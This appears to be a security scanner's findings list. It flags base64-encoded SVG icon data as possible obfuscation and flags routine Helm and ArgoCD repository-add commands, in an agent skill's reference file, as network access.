"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImJkOWRkOTJkLTllMzQtNGNhYi04NTdlLWEyYTJmZGViZmE2YyIgeDE9IjkiIHkxPSIxNy4wNTIiIHgyPSI5IiB5 - Possible obfuscationline 1112
"b64": "PHN2ZyB3aWR0aD0iMTgiIGhlaWdodD0iMTgiIHZpZXdCb3g9IjAgMCAxOCAxOCIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBkPSJNMTUuNzMyNSAzLjUwMjEyTDE0LjQ5NDYgMy40NzA0N0gxNC4zNDY1TDEyLjE1NjUgMy4xNDM0N0wxMC43NDkzIDIuNTIx - Possible obfuscationline 1117
"b64": "PHN2ZyB3aWR0aD0iMTkiIGhlaWdodD0iMTgiIHZpZXdCb3g9IjAgMCAxOSAxOCIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBvcGFjaXR5PSIwLjkiIGQ9Ik05LjIzNjg5IDEyLjEzNkM4Ljg3NDA3IDEyLjEzNiA4LjUxOTM5IDEyLjAyODQgOC4yMTc3NCAx - Possible obfuscationline 1122
"b64": "PHN2ZyB3aWR0aD0iMTgiIGhlaWdodD0iMTgiIHZpZXdCb3g9IjAgMCAxOCAxOCIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48ZyBjbGlwLXBhdGg9InVybCgjY2xpcDBfNjEwMl8xMzQ0MzMpIj48cGF0aCBkPSJNMC43MDcxMDYgOC4yOTI4OUw4LjI5Mjg5IDAuNzA3 - Possible obfuscationline 1127
"b64": "PHN2ZyB3aWR0aD0iMTgiIGhlaWdodD0iMTgiIHZpZXdCb3g9IjAgMCAxOCAxOCIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBkPSJNMTcuMDM4IDEuMDY0OTRIMC45NjMwMzlDMC42NjAzODcgMS4wNjQ5NCAwLjQxNTAzOSAxLjMxMDI5IDAuNDE1MDM5IDEu - Possible obfuscationline 1132
"b64": "PHN2ZyB3aWR0aD0iMTgiIGhlaWdodD0iMTgiIHZpZXdCb3g9IjAgMCAxOCAxOCIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48ZyBjbGlwLXBhdGg9InVybCgjY2xpcDBfNjEwMl8xMzQ0NTIpIj48cGF0aCBkPSJNNy4xMjggOUM3LjMzMzc4IDkuMDAyMjggNy41Mzg3 - Possible obfuscationline 1137
"b64": "PHN2ZyB3aWR0aD0iMTgiIGhlaWdodD0iMTgiIHZpZXdCb3g9IjAgMCAxOCAxOCIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBmaWxsLXJ1bGU9ImV2ZW5vZGQiIGNsaXAtcnVsZT0iZXZlbm9kZCIgZD0iTTkuOTYzMTYgMTAuMzI3OUMxMC45NTAyIDEwLjg0 - Possible obfuscationline 1142
"b64": "PHN2ZyB3aWR0aD0iMTgiIGhlaWdodD0iMTgiIHZpZXdCb3g9IjAgMCAxOCAxOCIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48ZyBjbGlwLXBhdGg9InVybCgjY2xpcDBfNjEwMl8xMzQzOTkpIj48cGF0aCBkPSJNMTAuMzgxIDkuN0M5LjgzOTEgMTAuMTQxMiA5LjM5 - Possible obfuscationline 1147
"b64": "PHN2ZyB3aWR0aD0iMTgiIGhlaWdodD0iMTgiIHZpZXdCb3g9IjAgMCAxOCAxOCIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBkPSJNMC44NzY0NzQgMy41MDM1OEMxLjE2NzY0IDIuNTgwMzYgMS45NDEyOSAyIDIuNzg0NDggMkgxNS4xMjMzQzE1Ljk4NjEg - Possible obfuscationline 1152
"b64": "PHN2ZyB3aWR0aD0iMTgiIGhlaWdodD0iMTgiIHZpZXdCb3g9IjAgMCAxOCAxOCIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBmaWxsLXJ1bGU9ImV2ZW5vZGQiIGNsaXAtcnVsZT0iZXZlbm9kZCIgZD0iTTE1LjUgMTIuODQ5NkgyLjVDMS40NjQ0NyAxMi44 - Possible obfuscationline 1157
"b64": "PHN2ZyB3aWR0aD0iMTgiIGhlaWdodD0iMTgiIHZpZXdCb3g9IjAgMCAxOCAxOCIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48ZyBjbGlwLXBhdGg9InVybCgjY2xpcDBfNjEwMl8xMzQ0NjcpIj48cGF0aCBkPSJNMi41MzE2NSAwSDE1LjQ2ODRDMTUuNjc1NCAwIDE1 - Possible obfuscationline 1162
"b64": "PHN2ZyB3aWR0aD0iMTgiIGhlaWdodD0iMjAiIHZpZXdCb3g9IjAgMCAxOCAyMCIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBkPSJNMTIuNzUyMiA3Ljk5OTk0TDEzLjg0ODIgNy45MDk3MUMxNC4wOTkgNy44ODkwNCAxNC4zMTgzIDguMDc1NTEgMTQuMzM4 - Possible obfuscationline 1167
"b64": "PHN2ZyB3aWR0aD0iMTgiIGhlaWdodD0iMTgiIHZpZXdCb3g9IjAgMCAxOCAxOCIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBmaWxsLXJ1bGU9ImV2ZW5vZGQiIGNsaXAtcnVsZT0iZXZlbm9kZCIgZD0iTTAuNzk2NzQ1IDIuMjM1MjdMNC41MjA4NCA4LjYw - Possible obfuscationline 1172
"b64": "PHN2ZyB3aWR0aD0iMTgiIGhlaWdodD0iMTgiIHZpZXdCb3g9IjAgMCAxOCAxOCIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBmaWxsLXJ1bGU9ImV2ZW5vZGQiIGNsaXAtcnVsZT0iZXZlbm9kZCIgZD0iTTE3LjY1NDIgNC4zNDgzOUgwLjM0NzczMVYxNC40 - Possible obfuscationline 1177
"b64": "PHN2ZyB3aWR0aD0iMTgiIGhlaWdodD0iMTgiIHZpZXdCb3g9IjAgMCAxOCAxOCIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBkPSJNNS4zMTIzMyA1LjM3MzE1TDQuOTIzMDkgNC43Nzc4QzUuMzAwMjEgNC41MzE2NiA1Ljc1ODEgNC4yOTYwNiA2LjI5Nzkz - Possible obfuscationline 1182
"b64": "PHN2ZyB3aWR0aD0iMTgiIGhlaWdodD0iMTgiIHZpZXdCb3g9IjAgMCAxOCAxOCIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48ZyBjbGlwLXBhdGg9InVybCgjY2xpcDBfNjEwMl8xMzQ0MDApIj48cGF0aCBkPSJNMTcuMDk3NCAwSDAuOTAyNjE2QzAuNDA0MTE1IDAg - Possible obfuscationline 1187
"b64": "PHN2ZyB3aWR0aD0iMTgiIGhlaWdodD0iMTgiIHZpZXdCb3g9IjAgMCAxOCAxOCIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBmaWxsLXJ1bGU9ImV2ZW5vZGQiIGNsaXAtcnVsZT0iZXZlbm9kZCIgZD0iTTYuNjQ2MTUgMi4zOTMyQzQuMzUyMDUgMi4zOTMy - Possible obfuscationline 1192
"b64": "PHN2ZyB3aWR0aD0iMTgiIGhlaWdodD0iMTgiIHZpZXdCb3g9IjAgMCAxOCAxOCIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48ZyBjbGlwLXBhdGg9InVybCgjY2xpcDBfNjEwMl8xMzQ0MzYpIj48cGF0aCBmaWxsLXJ1bGU9ImV2ZW5vZGQiIGNsaXAtcnVsZT0iZXZl - Possible obfuscationline 1197
"b64": "PHN2ZyB3aWR0aD0iMTgiIGhlaWdodD0iMTgiIHZpZXdCb3g9IjAgMCAxOCAxOCIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBkPSJNMTQuOTA4IDEwLjAzMzVMMTYuMTQ2MyA4LjY0NTEzSDEyLjZWNy41NTQ5MUgxNi4xNDYzTDE0LjkwOCA2LjE2NjU5TDE1 - Possible obfuscationline 1202
"b64": "PHN2ZyB3aWR0aD0iMTgiIGhlaWdodD0iMTkiIHZpZXdCb3g9IjAgMCAxOCAxOSIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBkPSJNOS44OTA2NSA0LjQxOTc4TDEwLjY2MTcgMy43NjUwOUMxMC44MzgxIDMuNjE1MjUgMTEuMTA2MyAzLjY0NDQ3IDExLjI2 - Possible obfuscationline 1207
"b64": "PHN2ZyB3aWR0aD0iMTgiIGhlaWdodD0iMTgiIHZpZXdCb3g9IjAgMCAxOCAxOCIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBkPSJNMTUuNzUgMTMuNDQ2NEgxNS42MjVWMTMuNTcxNFYxNS42Njk2QzE1LjYyNSAxNS44Mzc4IDE1LjU5MzEgMTUuOTkzMyAx - Possible obfuscationline 1212
"b64": "PHN2ZyB3aWR0aD0iMTgiIGhlaWdodD0iMTgiIHZpZXdCb3g9IjAgMCAxOCAxOCIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBkPSJNMC4wMjA1ODk4IDUuNTU3MjlDMC4xMTUyNzYgNS43MzQxMSAwLjMwMDAzMSA1Ljg3Nzc4IDAuNTM2NjYzIDUuOTU4Nkw5 - Possible obfuscationline 1217
"b64": "PHN2ZyB3aWR0aD0iMTgiIGhlaWdodD0iMTgiIHZpZXdCb3g9IjAgMCAxOCAxOCIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cmVjdCB3aWR0aD0iNC4yODU3MyIgaGVpZ2h0PSIxOCIgcng9IjEiIGZpbGw9InVybCgjcGFpbnQwX2xpbmVhcl82MTAyXzEzNDQzNCki - Possible obfuscationline 1222
"b64": "PHN2ZyB3aWR0aD0iMTgiIGhlaWdodD0iMTgiIHZpZXdCb3g9IjAgMCAxOCAxOCIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48ZyBjbGlwLXBhdGg9InVybCgjY2xpcDBfNjEwMl8xMzQ0NTEpIj48cGF0aCBkPSJNNC43MjE2MyAxMi4wODA0QzQuNzIxNzYgMTIuMTk4 - Possible obfuscationline 1227
"b64": "PHN2ZyBpZD0iZjk4NTY3NzMtN2RiZC00ZGI2LWFhMGUtZjE1MTg2NjRmZGU4IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImZmNTdiOTZhLTY2YTktNGRiMy04MGY5 - Possible obfuscationline 1232
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImJmOTQzMGM1LTE2MTQtNGIyMi04MDg2LTdjY2MyNTAwOGY5ZSIgeDE9IjkiIHkxPSIxNS44MzQiIHgyPSI5IiB5 - Possible obfuscationline 1237
"b64": "PHN2ZyBpZD0iZTRhZThhMDItZWNkZi00NjE1LWFjYWItN2RlNTBhYTY2MDhjIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImIxZmU1M2U5LTM3MzItNGU0Ni1iNDUz - Possible obfuscationline 1242
"b64": "PHN2ZyBpZD0iYmYzYTI0MTktMTM1Yi00MWVlLWJjODgtMmYzYjFhY2M1NmZiIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImFlYTk4MGQ0LWZhNWQtNGM4NC1iYzkw - Possible obfuscationline 1247
"b64": "PHN2ZyBpZD0iYTdmMzY4YjktNTdjNC00YTdiLWE2MWQtNDExNjZjZTc0YTRiIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImEwZjI1ZWY3LWQ2ODAtNGRhYy1hNzUx - Possible obfuscationline 1252
"b64": "PHN2ZyBpZD0iZTIzNTQ2NjUtZGEzZS00N2RhLWJkYmYtYzBhMDYxYjVkMGI1IiBkYXRhLW5hbWU9IkxheWVyIDEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgeG1sbnM6eGxpbms9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGxpbmsiIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0Jv - Possible obfuscationline 1257
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImI2ZTYyMjQxLTU1YWItNDhjZi05YTM0LTllMDc1OWE4OWRmZCIgeDE9IjExLjEyMiIgeTE9IjEzLjkyIiB4Mj0i - Possible obfuscationline 1262
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImUxYmMxMjJhLTUxOTMtNGI5MS04ZDEwLWM5NGM4YTNjYWYwNCIgeDE9IjExLjIwMiIgeTE9IjEzLjkwNiIgeDI9 - Possible obfuscationline 1267
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImIzNGU1NDFhLWYyNjctNDVhNi05Y2NlLTAyMWIxNWE4NTM2YSIgeDE9IjExLjIwMiIgeTE9IjEzLjkwNiIgeDI9 - Possible obfuscationline 1272
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImExNWQyM2I3LWQ2OWUtNGQ3Mi04MDM5LTVjZWI3ZTU5MjA2ZSIgeDE9IjguOTk5IiB5MT0iNi44MDciIHgyPSI4 - Possible obfuscationline 1277
"b64": "PHN2ZyBpZD0iYTI2ZTdkMGQtYzE1OS00MzdjLTg0NWUtNTI5NzI2ZjNkZjllIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImFlYTU3NmU1LWZlZjgtNGJmNS1hNmRk - Possible obfuscationline 1282
"b64": "PHN2ZyBpZD0iZTAwYWRmODItM2EyYi00ZDYzLTg4ZDYtMDRlMGZkNjEzNzE2IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImUzNDk0NDkyLTkzMjItNDg2NC1iMjE1 - Possible obfuscationline 1287
"b64": "PHN2ZyBpZD0iYTk4NTE3ZmQtMDY1NS00MGE0LThkZGEtYWU0N2ExNDgwMjgwIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImI4MDIyNmJhLTZkMGQtNDk1Ni04ZjE5 - Possible obfuscationline 1292
"b64": "PHN2ZyBpZD0iYjQ4YzUwODktYjkyNi00ZTVjLWFmZGQtYzhkMzdmZWU3MDVlIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImVmNzFjYThiLWUwYzMtNDJhMy1iMTc0 - Possible obfuscationline 1297
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImEyNTQzYmNkLTU1YWEtNDg0MC1hNWFjLTM5ZDU3YWZkNDIyOCIgeDE9IjkuMjYxIiB5MT0iLTAuMzY0IiB4Mj0i - Possible obfuscationline 1302
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48cmFkaWFsR3JhZGllbnQgaWQ9IjU0OGZkMzE4LWIzZWQtNGYyZC04YWRiLTQ4ZjZlOTY4NWJjZiIgY3g9IjguMzgiIGN5PSI0NDUuOTQiIHI9IjQu - Possible obfuscationline 1307
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImJjMjhkMDc1LWU1MjEtNDM5Ni1hNmNlLWE1OGE4NGM2NjlkYiIgeDE9IjUuMzY4IiB5MT0iMi41OTkiIHgyPSI5 - Possible obfuscationline 1312
"b64": "PHN2ZyBpZD0iZWEzMTdiMzEtYjMxYS00NGZkLWE3YzQtMjYwNzc0NTc1MzYzIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImEzYWVjYjVjLTExZjUtNGVjZS05OWY3 - Possible obfuscationline 1317
"b64": "PHN2ZyBpZD0iZWEzMTdiMzEtYjMxYS00NGZkLWE3YzQtMjYwNzc0NTc1MzYzIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImEzYWVjYjVjLTExZjUtNGVjZS05OWY3 - Possible obfuscationline 1322
"b64": "PHN2ZyBpZD0iZWEzMTdiMzEtYjMxYS00NGZkLWE3YzQtMjYwNzc0NTc1MzYzIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImEzYWVjYjVjLTExZjUtNGVjZS05OWY3 - Possible obfuscationline 1327
"b64": "PHN2ZyBpZD0iYjVhYWM2MzMtNWU0ZS00YmEzLWI3OWQtODc0MDMwYjAxNjI4IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImY1YWJhMjhkLWE2MWUtNGM1ZS1hODgx - Possible obfuscationline 1332
"b64": "PHN2ZyBpZD0idXVpZC05ODllYmM3MS1kN2U4LTRmZGEtYmU1Mi05MGEzYWE3OGViNmUiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxwYXRoIGQ9Im05LjQwNSwwaDguMjk4Yy4xNjQsMCwuMjk3LjEzMy4yOTcu - Possible obfuscationline 1337
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImUyOGY2ZWYxLWZkMzEtNDc1MS05MTA4LWY5NDcyOWMwZjE2OSIgeDE9IjkuMDQ5IiB5MT0iMS4xOTYiIHgyPSI5 - Possible obfuscationline 1342
"b64": "PHN2ZyBpZD0idXVpZC00ZDQ3ZGZlNi02NTg2LTQ3MWMtYjQ5MS02NGMxNTk2MWQ3MjYiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxyYWRpYWxHcmFkaWVudCBpZD0idXVpZC0xMTQ5N2NhZS1hZTRj - Possible obfuscationline 1347
"b64": "PHN2ZyBpZD0iYTU0MmNmMzktMmJhNi00MjA2LTgyNzgtNmE0ZjFjMjQ1MmY1IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48cmFkaWFsR3JhZGllbnQgaWQ9ImU3NTc5ZjRkLTM2YTMtNDY5My1hNzI2 - Possible obfuscationline 1352
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImVkNTUyODRjLTBlYWEtNGVkZi1hMWI2LWE0Yzk1MGNmNTZhZiIgeDE9Ii00MDE0LjIyNSIgeTE9Ii0xMTkuODY0 - Possible obfuscationline 1357
"b64": "PHN2ZyBpZD0iZjFmNmU3NmYtZDA5Mi00ZjQ5LTgyMmItYWMzMDg4MmUyZGE1IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImUwMDQxMjExLWViMGQtNGNiMi04NWFm - Possible obfuscationline 1362
"b64": "PHN2ZyBpZD0idXVpZC0zYmNkNTliNy1iOTgyLTQ1MzAtOWIxMi0xNmRjOTQ0MTc5YmMiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC1mNjU0YTE0Yy1kYTEx - Possible obfuscationline 1367
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB3aWR0aD0iMTgiIGhlaWdodD0iMTgiIHZpZXdCb3g9IjAgMCAxOCAxOCI+PGRlZnM+PGxpbmVhckdyYWRpZW50IGlkPSJmNDcxYTA4ZS1lZjNhLTRmOGMtYTA4 - Possible obfuscationline 1372
"b64": "PHN2ZyBpZD0idXVpZC1mY2IxN2ViNC05OTgyLTRjNzAtOTJhMC1lNDBiOTUxOWY3NzEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxnPjxnPjxwYXRoIGQ9Ik0xMi4xLDE1LjE0NGMtMy4xNTgsMC01LjcxNi0u - Possible obfuscationline 1377
"b64": "PHN2ZyBpZD0iYmFjMjg2OTAtMjRiYS00ZDlkLTkyYjAtYmFkOWNjOGRiZDkyIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImExN2FhMzU0LWU1NjctNDM1Ni1hNzE4 - Possible obfuscationline 1382
"b64": "PHN2ZyBpZD0iYWU3OGZhOWYtMmE2Yi00NTI4LTk4NWYtNmM3OGQ0NjZjOGE4IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImIwYTU3MjA0LTcwZGItNGIxZS1iMTAz - Possible obfuscationline 1387
"b64": "PHN2ZyBpZD0idXVpZC03NDRiN2U5NS01MDE0LTRiMzUtOTUzOS1lOWQwMzNiOGViNDMiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC04MzMwYzBiNy0wMmRh - Possible obfuscationline 1392
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImViOGNmYmE5LTFmMDYtNDJiOS1hNTFjLTRhYTQyYWU4MWY2ZCIgeDE9IjcuNzI2IiB5MT0iLTQuNDE3IiB4Mj0i - Possible obfuscationline 1397
"b64": "PHN2ZyBpZD0idXVpZC00Njc5YzgxZi00YjZhLTRkNzctYTkwMS02NTU5OTk2YTY5NzkiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC1mNTEzMDRkYi0yNDFl - Possible obfuscationline 1402
"b64": "PHN2ZyBpZD0iYTc2MGI2ZjEtMWU1NS00MzQ5LWJjYWQtNTYzYjgxYWI1MmNiIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImI3MTVlYzIwLTk1ZGItNDE0Yy05ODJi
harness/claude-code/skills/azure-argocd-cli/references/commands.md
- Network accessline 7
# Add ArgoCD Helm repo helm repo add argo https://argoproj.github.io/argo-helm - Network accessline 8
helm repo add argo https://argoproj.github.io/argo-helm - Network accessline 40
# Or add via CLI argocd repo add https://github.com/${GITHUB_ORG}/open-horizons-platform.git \ - Network accessline 41
argocd repo add https://github.com/${GITHUB_ORG}/open-horizons-platform.git \
